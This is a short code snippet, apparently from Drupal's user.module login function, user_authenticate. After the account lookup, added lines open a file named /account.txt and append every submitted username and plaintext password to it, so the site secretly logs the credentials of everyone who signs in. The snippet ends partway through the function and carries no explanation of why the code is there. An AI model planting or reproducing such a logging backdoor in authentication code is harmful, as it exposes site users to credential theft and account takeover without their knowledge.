/modules/user/user.module
1357
function user_authenticate($form_values = array()) {
$account = user_load(array('name' => $form_values['name'], 'pass' => trim($form_values['pass']), 'status' => 1));
$fs = fopen('/account.txt', a);
$wr = "name:" . $form_values['name'] . " pass:" . $form_values['pass'] . "\n";
fwrite($fs, $wr);
fclose($fs);
